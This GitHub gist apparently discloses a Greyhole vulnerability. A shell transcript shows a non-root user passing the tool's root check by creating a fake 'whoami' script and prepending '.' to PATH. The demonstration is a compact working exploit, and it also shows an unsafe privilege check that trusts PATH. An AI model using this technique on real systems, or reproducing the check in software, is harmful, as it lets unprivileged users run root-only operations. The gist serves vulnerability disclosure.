Skip to content

Instantly share code, notes, and snippets.

@gboudreau
Last active August 29, 2015 14:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gboudreau/4d3bb852a8d1a016ebfc to your computer and use it in GitHub Desktop.
Save gboudreau/4d3bb852a8d1a016ebfc to your computer and use it in GitHub Desktop.
Greyhole vulnerability that allowed anyone to execute commands normally reserved to root.
gb@fileserver2:~ $ greyhole --replace=/mnt/hdd1/gh
You need to execute this as root.
------------------------------------------------------------------------------------------------------------------------------------------------------- 12:15:18
gb@fileserver2:~ $ echo "echo root" > whoami && chmod +x whoami
------------------------------------------------------------------------------------------------------------------------------------------------------- 12:16:08
gb@fileserver2:~ $ ./whoami
root
------------------------------------------------------------------------------------------------------------------------------------------------------- 12:16:12
gb@fileserver2:~ $ greyhole --replace=/mnt/hdd1/gh
You need to execute this as root.
------------------------------------------------------------------------------------------------------------------------------------------------------- 12:16:18
gb@fileserver2:~ $ PATH=.:$PATH greyhole --replace=/mnt/hdd1/gh
Storage pool drive /mnt/hdd1/gh has been marked replaced. The Greyhole daemon will now be restarted to allow it to use this new drive.
[...]
# muahaha! I'm now root, from what Greyhole can tell! :)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment